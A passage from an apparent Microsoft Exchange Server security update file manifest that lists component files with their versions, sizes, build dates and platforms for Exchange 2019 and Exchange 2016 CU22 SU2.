\nMicrosoft.exchange.setup.acquirelanguagepack.dll| 15.2.922.19| 56,712| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.setup.bootstrapper.common.dll| 15.2.922.19| 93,064| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.setup.common.dll| 15.2.922.19| 296,328| 3-Nov-21| 21:59| x86 \nMicrosoft.exchange.setup.commonbase.dll| 15.2.922.19| 35,728| 3-Nov-21| 21:42| x86 \nMicrosoft.exchange.setup.console.dll| 15.2.922.19| 27,024| 3-Nov-21| 22:02| x86 \nMicrosoft.exchange.setup.gui.dll| 15.2.922.19| 114,576| 3-Nov-21| 22:02| x86 \nMicrosoft.exchange.setup.parser.dll| 15.2.922.19| 53,648| 3-Nov-21| 21:40| x86 \nMicrosoft.exchange.setup.signverfwrapper.dll| 15.2.922.19| 75,144| 3-Nov-21| 19:39| x64 \nMicrosoft.exchange.sharedcache.caches.dll| 15.2.922.19| 142,712| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.sharedcache.client.dll| 15.2.922.19| 24,952| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.sharedcache.eventlog.dll| 15.2.922.19| 15,248| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.sharedcache.exe| 15.2.922.19| 58,752| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.sharepointsignalstore.dll| 15.2.922.19| 27,016| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.slabmanifest.dll| 15.2.922.19| 46,992| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.sqm.dll| 15.2.922.19| 46,984| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.store.service.exe| 15.2.922.19| 28,048| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.store.worker.exe| 15.2.922.19| 26,488| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.storeobjectsservice.eventlog.dll| 15.2.922.19| 13,688| 3-Nov-21| 21:06| x64 \nMicrosoft.exchange.storeobjectsservice.exe| 15.2.922.19| 31,632| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.storeprovider.dll| 15.2.922.19| 1,205,128| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.structuredquery.dll| 15.2.922.19| 158,584| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.symphonyhandler.dll| 15.2.922.19| 628,104| 3-Nov-21| 21:20| x86 \nMicrosoft.exchange.syncmigration.eventlog.dll| 15.2.922.19| 13,200| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.syncmigrationservicelet.dll| 15.2.922.19| 16,264| 3-Nov-21| 21:42| x86 \nMicrosoft.exchange.systemprobemsg.dll| 15.2.922.19| 13,192| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.textprocessing.dll| 15.2.922.19| 221,576| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.textprocessing.eventlog.dll| 15.2.922.19| 13,712| 3-Nov-21| 19:22| x64 \nMicrosoft.exchange.transport.agent.addressbookpolicyroutingagent.dll| 15.2.922.19| 29,048| 3-Nov-21| 21:11| x86 \nMicrosoft.exchange.transport.agent.antispam.common.dll| 15.2.922.19| 138,616| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.transport.agent.contentfilter.cominterop.dll| 15.2.922.19| 21,896| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.transport.agent.controlflow.dll| 15.2.922.19| 40,328| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.transport.agent.faultinjectionagent.dll| 15.2.922.19| 22,904| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.transport.agent.frontendproxyagent.dll| 15.2.922.19| 21,368| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.transport.agent.hygiene.dll| 15.2.922.19| 213,392| 3-Nov-21| 21:15| x86 \nMicrosoft.exchange.transport.agent.interceptoragent.dll| 15.2.922.19| 98,680| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.transport.agent.liveidauth.dll| 15.2.922.19| 22,920| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.transport.agent.malware.dll| 15.2.922.19| 169,352| 3-Nov-21| 21:36| x86 \nMicrosoft.exchange.transport.agent.malware.eventlog.dll| 15.2.922.19| 18,320| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.transport.agent.phishingdetection.dll| 15.2.922.19| 20,880| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.transport.agent.prioritization.dll| 15.2.922.19| 31,616| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.transport.agent.protocolanalysis.dbaccess.dll| 15.2.922.19| 46,968| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.transport.agent.search.dll| 15.2.922.19| 30,072| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.transport.agent.senderid.core.dll| 15.2.922.19| 53,112| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.transport.agent.sharedmailboxsentitemsroutingagent.dll| 15.2.922.19| 44,936| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.transport.agent.systemprobedrop.dll| 15.2.922.19| 18,312| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.transport.agent.transportfeatureoverrideagent.dll| 15.2.922.19| 46,456| 3-Nov-21| 21:13| x86 \nMicrosoft.exchange.transport.agent.trustedmailagents.dll| 15.2.922.19| 46,456| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.transport.cloudmonitor.common.dll| 15.2.922.19| 28,048| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.transport.common.dll| 15.2.922.19| 457,080| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.transport.contracts.dll| 15.2.922.19| 18,312| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.transport.decisionengine.dll| 15.2.922.19| 30,608| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.transport.dll| 15.2.922.19| 4,187,016| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.transport.dsapiclient.dll| 15.2.922.19| 182,152| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.transport.eventlog.dll| 15.2.922.19| 121,736| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.transport.extensibility.dll| 15.2.922.19| 403,848| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.transport.extensibilityeventlog.dll| 15.2.922.19| 14,736| 3-Nov-21| 21:06| x64 \nMicrosoft.exchange.transport.flighting.dll| 15.2.922.19| 89,976| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.transport.logging.dll| 15.2.922.19| 88,976| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.transport.logging.search.dll| 15.2.922.19| 68,480| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.transport.loggingcommon.dll| 15.2.922.19| 63,376| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.transport.monitoring.dll| 15.2.922.19| 430,472| 3-Nov-21| 22:36| x86 \nMicrosoft.exchange.transport.net.dll| 15.2.922.19| 122,232| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.transport.protocols.contracts.dll| 15.2.922.19| 17,800| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.transport.protocols.dll| 15.2.922.19| 29,048| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.transport.protocols.httpsubmission.dll| 15.2.922.19| 60,816| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.transport.requestbroker.dll| 15.2.922.19| 50,040| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.transport.scheduler.contracts.dll| 15.2.922.19| 33,160| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.transport.scheduler.dll| 15.2.922.19| 113,016| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.transport.smtpshared.dll| 15.2.922.19| 18,312| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.transport.storage.contracts.dll| 15.2.922.19| 52,088| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.transport.storage.dll| 15.2.922.19| 675,208| 3-Nov-21| 21:05| x86 \nMicrosoft.exchange.transport.storage.management.dll| 15.2.922.19| 23,944| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.transport.sync.agents.dll| 15.2.922.19| 17,800| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.transport.sync.common.dll| 15.2.922.19| 487,304| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.transport.sync.common.eventlog.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.transport.sync.manager.dll| 15.2.922.19| 306,056| 3-Nov-21| 21:13| x86 \nMicrosoft.exchange.transport.sync.manager.eventlog.dll| 15.2.922.19| 15,736| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.transport.sync.migrationrpc.dll| 15.2.922.19| 46,472| 3-Nov-21| 21:12| x86 \nMicrosoft.exchange.transport.sync.worker.dll| 15.2.922.19| 1,044,360| 3-Nov-21| 21:14| x86 \nMicrosoft.exchange.transport.sync.worker.eventlog.dll| 15.2.922.19| 15,224| 3-Nov-21| 19:25| x64 \nMicrosoft.exchange.transportlogsearch.eventlog.dll| 15.2.922.19| 18,832| 3-Nov-21| 19:30| x64 \nMicrosoft.exchange.transportsyncmanagersvc.exe| 15.2.922.19| 18,808| 3-Nov-21| 21:14| x86 \nMicrosoft.exchange.um.troubleshootingtool.shared.dll| 15.2.922.19| 118,664| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.um.umcommon.dll| 15.2.922.19| 925,072| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.um.umcore.dll| 15.2.922.19| 1,469,840| 3-Nov-21| 21:10| x86 \nMicrosoft.exchange.um.umvariantconfiguration.dll| 15.2.922.19| 32,656| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.unifiedcontent.dll| 15.2.922.19| 41,872| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.unifiedcontent.exchange.dll| 15.2.922.19| 24,976| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.unifiedpolicyfilesync.eventlog.dll| 15.2.922.19| 15,224| 3-Nov-21| 21:05| x64 \nMicrosoft.exchange.unifiedpolicyfilesyncservicelet.dll| 15.2.922.19| 83,336| 3-Nov-21| 21:38| x86 \nMicrosoft.exchange.unifiedpolicysyncservicelet.dll| 15.2.922.19| 50,064| 3-Nov-21| 21:41| x86 \nMicrosoft.exchange.variantconfiguration.antispam.dll| 15.2.922.19| 658,824| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.variantconfiguration.core.dll| 15.2.922.19| 186,256| 3-Nov-21| 19:24| x86 \nMicrosoft.exchange.variantconfiguration.dll| 15.2.922.19| 67,464| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.variantconfiguration.eventlog.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:22| x64 \nMicrosoft.exchange.variantconfiguration.excore.dll| 15.2.922.19| 56,720| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.variantconfiguration.globalsettings.dll| 15.2.922.19| 28,024| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.variantconfiguration.hygiene.dll| 15.2.922.19| 120,720| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.variantconfiguration.protectionservice.dll| 15.2.922.19| 31,632| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.variantconfiguration.threatintel.dll| 15.2.922.19| 57,232| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.webservices.auth.dll| 15.2.922.19| 35,728| 3-Nov-21| 19:22| x86 \nMicrosoft.exchange.webservices.dll| 15.2.922.19| 1,054,096| 3-Nov-21| 19:24| x86 \nMicrosoft.exchange.webservices.xrm.dll| 15.2.922.19| 67,960| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.wlmservicelet.dll| 15.2.922.19| 23,440| 3-Nov-21| 21:06| x86 \nMicrosoft.exchange.wopiclient.dll| 15.2.922.19| 77,192| 3-Nov-21| 19:38| x86 \nMicrosoft.exchange.workingset.signalapi.dll| 15.2.922.19| 17,288| 3-Nov-21| 19:26| x86 \nMicrosoft.exchange.workingsetabstraction.signalapiabstraction.dll| 15.2.922.19| 29,072| 3-Nov-21| 19:25| x86 \nMicrosoft.exchange.workloadmanagement.dll| 15.2.922.19| 505,224| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.workloadmanagement.eventlogs.dll| 15.2.922.19| 14,736| 3-Nov-21| 19:24| x64 \nMicrosoft.exchange.workloadmanagement.throttling.configuration.dll| 15.2.922.19| 36,752| 3-Nov-21| 21:04| x86 \nMicrosoft.exchange.workloadmanagement.throttling.dll| 15.2.922.19| 66,424| 3-Nov-21| 21:04| x86 \nMicrosoft.fast.contextlogger.json.dll| 15.2.922.19| 19,344| 3-Nov-21| 19:22| x86 \nMicrosoft.filtering.dll| 15.2.922.19| 113,016| 3-Nov-21| 21:05| x86 \nMicrosoft.filtering.exchange.dll| 15.2.922.19| 57,224| 3-Nov-21| 21:04| x86 \nMicrosoft.filtering.interop.dll| 15.2.922.19| 15,240| 3-Nov-21| 21:04| x86 \nMicrosoft.forefront.activedirectoryconnector.dll| 15.2.922.19| 46,984| 3-Nov-21| 21:06| x86 \nMicrosoft.forefront.activedirectoryconnector.eventlog.dll| 15.2.922.19| 15,736| 3-Nov-21| 19:25| x64 \nMicrosoft.forefront.filtering.common.dll| 15.2.922.19| 23,952| 3-Nov-21| 19:39| x86 \nMicrosoft.forefront.filtering.diagnostics.dll| 15.2.922.19| 22,416| 3-Nov-21| 19:22| x86 \nMicrosoft.forefront.filtering.eventpublisher.dll| 15.2.922.19| 34,696| 3-Nov-21| 19:38| x86 \nMicrosoft.forefront.management.powershell.format.ps1xml| Not applicable| 48,926| 3-Nov-21| 21:55| Not applicable \nMicrosoft.forefront.management.powershell.types.ps1xml| Not applicable| 16,302| 3-Nov-21| 21:55| Not applicable \nMicrosoft.forefront.monitoring.activemonitoring.local.components.dll| 15.2.922.19| 1,517,944| 3-Nov-21| 22:39| x86 \nMicrosoft.forefront.monitoring.activemonitoring.local.components.messages.dll| 15.2.922.19| 13,192| 3-Nov-21| 19:38| x64 \nMicrosoft.forefront.monitoring.management.outsidein.dll| 15.2.922.19| 33,160| 3-Nov-21| 22:17| x86 \nMicrosoft.forefront.recoveryactionarbiter.contract.dll| 15.2.922.19| 18,312| 3-Nov-21| 19:24| x86 \nMicrosoft.forefront.reporting.common.dll| 15.2.922.19| 46,464| 3-Nov-21| 21:04| x86 \nMicrosoft.forefront.reporting.ondemandquery.dll| 15.2.922.19| 50,576| 3-Nov-21| 21:04| x86 \nMicrosoft.isam.esent.collections.dll| 15.2.922.19| 72,584| 3-Nov-21| 21:06| x86 \nMicrosoft.isam.esent.interop.dll| 15.2.922.19| 541,560| 3-Nov-21| 19:38| x86 \nMicrosoft.managementgui.dll| 15.2.922.19| 133,512| 3-Nov-21| 19:24| x86 \nMicrosoft.mce.interop.dll| 15.2.922.19| 24,464| 3-Nov-21| 19:22| x86 \nMicrosoft.office.audit.dll| 15.2.922.19| 124,808| 3-Nov-21| 19:24| x86 \nMicrosoft.office.client.discovery.unifiedexport.dll| 15.2.922.19| 593,280| 3-Nov-21| 21:04| x86 \nMicrosoft.office.common.ipcommonlogger.dll| 15.2.922.19| 42,376| 3-Nov-21| 21:05| x86 \nMicrosoft.office.compliance.console.core.dll| 15.2.922.19| 218,000| 4-Nov-21| 0:10| x86 \nMicrosoft.office.compliance.console.dll| 15.2.922.19| 854,904| 4-Nov-21| 0:10| x86 \nMicrosoft.office.compliance.console.extensions.dll| 15.2.922.19| 485,768| 4-Nov-21| 0:10| x86 \nMicrosoft.office.compliance.core.dll| 15.2.922.19| 413,048| 3-Nov-21| 21:04| x86 \nMicrosoft.office.compliance.ingestion.dll| 15.2.922.19| 36,240| 3-Nov-21| 21:04| x86 \nMicrosoft.office.compliancepolicy.exchange.dar.dll| 15.2.922.19| 85,368| 3-Nov-21| 21:05| x86 \nMicrosoft.office.compliancepolicy.platform.dll| 15.2.922.19| 1,783,184| 3-Nov-21| 19:38| x86 \nMicrosoft.office.datacenter.activemonitoring.management.common.dll| 15.2.922.19| 49,528| 3-Nov-21| 21:05| x86 \nMicrosoft.office.datacenter.activemonitoring.management.dll| 15.2.922.19| 27,512| 3-Nov-21| 21:05| x86 \nMicrosoft.office.datacenter.activemonitoringlocal.dll| 15.2.922.19| 174,984| 3-Nov-21| 21:04| x86 \nMicrosoft.office.datacenter.monitoring.activemonitoring.recovery.dll| 15.2.922.19| 166,280| 3-Nov-21| 21:04| x86 \nMicrosoft.office365.datainsights.uploader.dll| 15.2.922.19| 40,336| 3-Nov-21| 19:24| x86 \nMicrosoft.online.box.shell.dll| 15.2.922.19| 46,456| 3-Nov-21| 19:30| x86 \nMicrosoft.powershell.hostingtools.dll| 15.2.922.19| 67,968| 3-Nov-21| 19:24| x86 \nMicrosoft.powershell.hostingtools_2.dll| 15.2.922.19| 67,968| 3-Nov-21| 19:24| x86 \nMicrosoft.tailoredexperiences.core.dll| 15.2.922.19| 120,208| 3-Nov-21| 21:04| x86 \nMigrateumcustomprompts.ps1| Not applicable| 19,122| 3-Nov-21| 19:38| Not applicable \nModernpublicfoldertomailboxmapgenerator.ps1| Not applicable| 29,064| 3-Nov-21| 19:38| Not applicable \nMovemailbox.ps1| Not applicable| 61,140| 3-Nov-21| 19:38| Not applicable \nMovetransportdatabase.ps1| Not applicable| 30,602| 3-Nov-21| 19:38| Not applicable \nMove_publicfolderbranch.ps1| Not applicable| 17,532| 3-Nov-21| 19:38| Not applicable \nMpgearparser.dll| 15.2.922.19| 99,728| 3-Nov-21| 19:26| x64 \nMsclassificationadapter.dll| 15.2.922.19| 248,720| 3-Nov-21| 19:38| x64 \nMsexchangecompliance.exe| 15.2.922.19| 78,736| 3-Nov-21| 21:25| x86 \nMsexchangedagmgmt.exe| 15.2.922.19| 25,480| 3-Nov-21| 21:10| x86 \nMsexchangedelivery.exe| 15.2.922.19| 38,800| 3-Nov-21| 21:10| x86 \nMsexchangefrontendtransport.exe| 15.2.922.19| 31,632| 3-Nov-21| 21:06| x86 \nMsexchangehmhost.exe| 15.2.922.19| 27,008| 3-Nov-21| 22:38| x86 \nMsexchangehmrecovery.exe| 15.2.922.19| 29,576| 3-Nov-21| 21:04| x86 \nMsexchangemailboxassistants.exe| 15.2.922.19| 72,584| 3-Nov-21| 21:10| x86 \nMsexchangemailboxreplication.exe| 15.2.922.19| 20,856| 3-Nov-21| 21:17| x86 \nMsexchangemigrationworkflow.exe| 15.2.922.19| 68,984| 3-Nov-21| 21:22| x86 \nMsexchangerepl.exe| 15.2.922.19| 72,072| 3-Nov-21| 21:10| x86 \nMsexchangesubmission.exe| 15.2.922.19| 123,280| 3-Nov-21| 21:16| x86 \nMsexchangethrottling.exe| 15.2.922.19| 39,816| 3-Nov-21| 21:06| x86 \nMsexchangetransport.exe| 15.2.922.19| 74,104| 3-Nov-21| 21:05| x86 \nMsexchangetransportlogsearch.exe| 15.2.922.19| 139,128| 3-Nov-21| 21:10| x86 \nMsexchangewatchdog.exe| 15.2.922.19| 55,672| 3-Nov-21| 19:26| x64 \nMspatchlinterop.dll| 15.2.922.19| 53,632| 3-Nov-21| 21:06| x64 \nNativehttpproxy.dll| 15.2.922.19| 91,528| 3-Nov-21| 21:04| x64 \nNavigatorparser.dll| 15.2.922.19| 636,800| 3-Nov-21| 19:27| x64 \nNego2nativeinterface.dll| 15.2.922.19| 19,344| 3-Nov-21| 19:38| x64 \nNegotiateclientcertificatemodule.dll| 15.2.922.19| 30,096| 3-Nov-21| 19:22| x64 \nNewtestcasconnectivityuser.ps1| Not applicable| 19,764| 3-Nov-21| 19:38| Not applicable \nNewtestcasconnectivityuserhosting.ps1| Not applicable| 24,579| 3-Nov-21| 19:38| Not applicable \nNtspxgen.dll| 15.2.922.19| 80,760| 3-Nov-21| 19:38| x64 \nOleconverter.exe| 15.2.922.19| 173,968| 3-Nov-21| 19:26| x64 \nOutsideinmodule.dll| 15.2.922.19| 87,928| 3-Nov-21| 19:24| x64 \nOwaauth.dll| 15.2.922.19| 92,040| 3-Nov-21| 19:39| x64 \nPerf_common_extrace.dll| 15.2.922.19| 245,128| 3-Nov-21| 19:25| x64 \nPerf_exchmem.dll| 15.2.922.19| 86,416| 3-Nov-21| 19:27| x64 \nPipeline2.dll| 15.2.922.19| 1,454,480| 3-Nov-21| 21:05| x64 \nPreparemoverequesthosting.ps1| Not applicable| 70,995| 3-Nov-21| 19:38| Not applicable \nPrepare_moverequest.ps1| Not applicable| 73,229| 3-Nov-21| 19:38| Not applicable \nProductinfo.managed.dll| 15.2.922.19| 27,000| 3-Nov-21| 19:25| x86 \nProxybinclientsstringsdll| 15.2.922.19| 924,560| 3-Nov-21| 19:30| x86 \nPublicfoldertomailboxmapgenerator.ps1| Not applicable| 23,238| 3-Nov-21| 19:38| Not applicable \nQuietexe.exe| 15.2.922.19| 14,712| 3-Nov-21| 19:24| x86 \nRedistributeactivedatabases.ps1| Not applicable| 250,524| 3-Nov-21| 19:38| Not applicable \nReinstalldefaulttransportagents.ps1| Not applicable| 21,655| 3-Nov-21| 21:50| Not applicable \nRemoteexchange.ps1| Not applicable| 23,553| 3-Nov-21| 21:55| Not applicable \nRemoveuserfrompfrecursive.ps1| Not applicable| 14,684| 3-Nov-21| 19:38| Not applicable \nReplaceuserpermissiononpfrecursive.ps1| Not applicable| 15,002| 3-Nov-21| 19:38| Not applicable \nReplaceuserwithuseronpfrecursive.ps1| Not applicable| 15,012| 3-Nov-21| 19:38| Not applicable \nReplaycrimsonmsg.dll| 15.2.922.19| 1,104,760| 3-Nov-21| 19:25| x64 \nResetattachmentfilterentry.ps1| Not applicable| 15,488| 3-Nov-21| 21:50| Not applicable \nResetcasservice.ps1| Not applicable| 21,707| 3-Nov-21| 19:38| Not applicable \nReset_antispamupdates.ps1| Not applicable| 14,101| 3-Nov-21| 19:24| Not applicable \nRestoreserveronprereqfailure.ps1| Not applicable| 15,161| 3-Nov-21| 19:38| Not applicable \nResumemailboxdatabasecopy.ps1| Not applicable| 17,210| 3-Nov-21| 19:38| Not applicable \nRightsmanagementwrapper.dll| 15.2.922.19| 86,392| 3-Nov-21| 19:38| x64 \nRollalternateserviceaccountpassword.ps1| Not applicable| 55,810| 3-Nov-21| 19:38| Not applicable \nRpcperf.dll| 15.2.922.19| 23,416| 3-Nov-21| 19:25| x64 \nRpcproxyshim.dll| 15.2.922.19| 39,288| 3-Nov-21| 21:05| x64 \nRulesauditmsg.dll| 15.2.922.19| 12,688| 3-Nov-21| 19:24| x64 \nSafehtmlnativewrapper.dll| 15.2.922.19| 34,696| 3-Nov-21| 21:06| x64 \nScanenginetest.exe| 15.2.922.19| 956,304| 3-Nov-21| 19:38| x64 \nScanningprocess.exe| 15.2.922.19| 738,696| 3-Nov-21| 21:05| x64 \nSearchdiagnosticinfo.ps1| Not applicable| 16,812| 3-Nov-21| 19:38| Not applicable \nServicecontrol.ps1| Not applicable| 52,309| 3-Nov-21| 19:38| Not applicable \nSetmailpublicfolderexternaladdress.ps1| Not applicable| 20,754| 3-Nov-21| 19:38| Not applicable \nSettingsadapter.dll| 15.2.922.19| 116,104| 3-Nov-21| 19:38| x64 \nSetup.exe| 15.2.922.19| 20,368| 3-Nov-21| 21:04| x86 \nSetupui.exe| 15.2.922.19| 188,280| 3-Nov-21| 21:46| x86 \nSplit_publicfoldermailbox.ps1| Not applicable| 52,189| 3-Nov-21| 19:38| Not applicable \nStartdagservermaintenance.ps1| Not applicable| 27,867| 3-Nov-21| 19:38| Not applicable \nStatisticsutil.dll| 15.2.922.19| 142,200| 3-Nov-21| 19:38| x64 \nStopdagservermaintenance.ps1| Not applicable| 21,153| 3-Nov-21| 19:38| Not applicable \nStoretsconstants.ps1| Not applicable| 15,830| 3-Nov-21| 21:04| Not applicable \nStoretslibrary.ps1| Not applicable| 28,003| 3-Nov-21| 21:04| Not applicable \nStore_mapi_net_bin_perf_x64_exrpcperf.dll| 15.2.922.19| 28,536| 3-Nov-21| 19:25| x64 \nSync_mailpublicfolders.ps1| Not applicable| 43,927| 3-Nov-21| 19:38| Not applicable \nSync_modernmailpublicfolders.ps1| Not applicable| 43,973| 3-Nov-21| 19:38| Not applicable \nTextconversionmodule.dll| 15.2.922.19| 86,392| 3-Nov-21| 19:25| x64 \nTroubleshoot_ci.ps1| Not applicable| 22,727| 3-Nov-21| 21:04| Not applicable \nTroubleshoot_databaselatency.ps1| Not applicable| 33,433| 3-Nov-21| 21:04| Not applicable \nTroubleshoot_databasespace.ps1| Not applicable| 30,029| 3-Nov-21| 21:05| Not applicable \nUninstall_antispamagents.ps1| Not applicable| 15,453| 3-Nov-21| 19:24| Not applicable \nUpdateapppoolmanagedframeworkversion.ps1| Not applicable| 14,030| 3-Nov-21| 19:38| Not applicable \nUpdatecas.ps1| Not applicable| 38,213| 3-Nov-21| 19:38| Not applicable \nUpdateconfigfiles.ps1| Not applicable| 19,726| 3-Nov-21| 19:38| Not applicable \nUpdateserver.exe| 15.2.922.19| 3,014,536| 3-Nov-21| 19:39| x64 \nUpdate_malwarefilteringserver.ps1| Not applicable| 18,156| 3-Nov-21| 19:38| Not applicable \nWeb.config_053c31bdd6824e95b35d61b0a5e7b62d| Not applicable| 32,046| 3-Nov-21| 23:31| Not applicable \nWsbexchange.exe| 15.2.922.19| 125,328| 3-Nov-21| 21:06| x64 \nX400prox.dll| 15.2.922.19| 103,312| 3-Nov-21| 19:39| x64 \n_search.lingoperators.a| 15.2.922.19| 34,696| 3-Nov-21| 21:05| Not applicable \n_search.lingoperators.b| 15.2.922.19| 34,696| 3-Nov-21| 21:05| Not applicable \n_search.mailboxoperators.a| 15.2.922.19| 290,168| 3-Nov-21| 21:12| Not applicable \n_search.mailboxoperators.b| 15.2.922.19| 290,168| 3-Nov-21| 21:12| Not applicable \n_search.operatorschema.a| 15.2.922.19| 485,752| 3-Nov-21| 21:05| Not applicable \n_search.operatorschema.b| 15.2.922.19| 485,752| 3-Nov-21| 21:05| Not applicable \n_search.tokenoperators.a| 15.2.922.19| 113,544| 3-Nov-21| 21:04| Not applicable \n_search.tokenoperators.b| 15.2.922.19| 113,544| 3-Nov-21| 21:04| Not applicable \n_search.transportoperators.a| 15.2.922.19| 67,976| 3-Nov-21| 21:18| Not applicable \n_search.transportoperators.b| 15.2.922.19| 67,976| 3-Nov-21| 21:18| Not applicable \n \n### \n\n__\n\nMicrosoft Exchange Server 2016 Cumulative Update 22 Security Update 2\n\nFile name| File version| File size| Date| Time| Platform \n---|---|---|---|---|--- \nActivemonitoringeventmsg.dll| 15.1.2375.17| 71,056| 3-Nov-21| 18:19| x64 \nActivemonitoringexecutionlibrary.ps1| Not applicable| 29,518| 3-Nov-21| 18:09| Not applicable \nAdduserstopfrecursive.ps1| Not applicable| 14,941| 3-Nov-21| 18:09| Not applicable \nAdemodule.dll| 15.1.2375.17| 106,376| 3-Nov-21| 18:19| x64 \nAirfilter.dll| 15.1.2375.17| 42,872| 3-Nov-21| 18:36| x64 \nAjaxcontroltoolkit.dll| 15.1.2375.17| 92,560| 3-Nov-21| 18:23| x86 \nAntispamcommon.ps1| Not applicable| 13,501| 3-Nov-21| 18:12| Not applicable \nAsdat.msi| Not applicable| 5,087,232| 3-Nov-21| 18:19| Not applicable \nAsentirs.msi| Not applicable| 77,824| 3-Nov-21| 18:36| Not applicable \nAsentsig.msi| Not applicable| 73,728| 3-Nov-21| 18:19| Not applicable \nBigfunnel.bondtypes.dll| 15.1.2375.17| 43,896| 3-Nov-21| 18:21| x86 \nBigfunnel.common.dll| 15.1.2375.17| 63,880| 3-Nov-21| 18:10| x86 \nBigfunnel.configuration.dll| 15.1.2375.17| 99,208| 3-Nov-21| 18:36| x86 \nBigfunnel.entropy.dll| 15.1.2375.17| 44,408| 3-Nov-21| 18:19| x86 \nBigfunnel.filter.dll| 15.1.2375.17| 54,136| 3-Nov-21| 18:21| x86 \nBigfunnel.indexstream.dll| 15.1.2375.17| 54,152| 3-Nov-21| 18:22| x86 \nBigfunnel.poi.dll| 15.1.2375.17| 202,640| 3-Nov-21| 18:19| x86 \nBigfunnel.postinglist.dll| 15.1.2375.17| 122,248| 3-Nov-21| 18:23| x86 \nBigfunnel.query.dll| 15.1.2375.17| 99,704| 3-Nov-21| 18:12| x86 \nBigfunnel.ranking.dll| 15.1.2375.17| 79,224| 3-Nov-21| 18:27| x86 \nBigfunnel.syntheticdatalib.dll| 15.1.2375.17| 3,634,576| 3-Nov-21| 18:23| x86 \nBigfunnel.wordbreakers.dll| 15.1.2375.17| 46,472| 3-Nov-21| 18:22| x86 \nCafe_airfilter_dll| 15.1.2375.17| 42,872| 3-Nov-21| 18:36| x64 \nCafe_exppw_dll| 15.1.2375.17| 83,320| 3-Nov-21| 18:12| x64 \nCafe_owaauth_dll| 15.1.2375.17| 92,024| 3-Nov-21| 18:19| x64 \nCalcalculation.ps1| Not applicable| 42,089| 3-Nov-21| 18:09| Not applicable \nCheckdatabaseredundancy.ps1| Not applicable| 94,638| 3-Nov-21| 18:21| Not applicable \nChksgfiles.dll| 15.1.2375.17| 57,232| 3-Nov-21| 18:25| x64 \nCitsconstants.ps1| Not applicable| 15,837| 3-Nov-21| 18:39| Not applicable \nCitslibrary.ps1| Not applicable| 82,696| 3-Nov-21| 18:39| Not applicable \nCitstypes.ps1| Not applicable| 14,476| 3-Nov-21| 18:39| Not applicable \nClassificationengine_mce| 15.1.2375.17| 1,693,064| 3-Nov-21| 18:28| Not applicable \nClusmsg.dll| 15.1.2375.17| 134,032| 3-Nov-21| 18:19| x64 \nCoconet.dll| 15.1.2375.17| 48,008| 3-Nov-21| 18:28| x64 \nCollectovermetrics.ps1| Not applicable| 